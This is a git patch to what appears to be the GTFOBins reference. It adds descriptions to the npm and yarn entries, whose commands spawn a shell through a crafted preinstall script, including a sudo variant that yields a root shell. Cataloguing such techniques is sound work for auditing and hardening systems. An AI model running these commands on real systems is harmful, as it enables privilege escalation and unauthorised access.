From fd476e08c2c260086e6ac34ae4ff310201c9f35f Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 22 Jun 2021 22:11:05 +0200 Subject: [PATCH] Update yarn and npm shells Mention an additional way to run scripts as suggested in #224. --- _gtfobins/npm.md | 6 ++++-- _gtfobins/yarn.md | 3 ++- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/_gtfobins/npm.md b/_gtfobins/npm.md index 291afa8..b7a0ad4 100644 --- a/_gtfobins/npm.md +++ b/_gtfobins/npm.md @@ -2,12 +2,14 @@ functions: shell: - code: npm exec /bin/sh - - code: | + - description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`. + code: | TF=$(mktemp -d) echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json npm -C $TF i sudo: - - code: | + - description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`. + code: | TF=$(mktemp -d) echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json sudo npm -C $TF --unsafe-perm i diff --git a/_gtfobins/yarn.md b/_gtfobins/yarn.md index 072dc2e..f03318f 100644 --- a/_gtfobins/yarn.md +++ b/_gtfobins/yarn.md @@ -2,7 +2,8 @@ functions: shell: - code: yarn exec /bin/sh - - code: | + - description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `yarn --cwd $TF run preinstall`. + code: | TF=$(mktemp -d) echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json yarn --cwd $TF install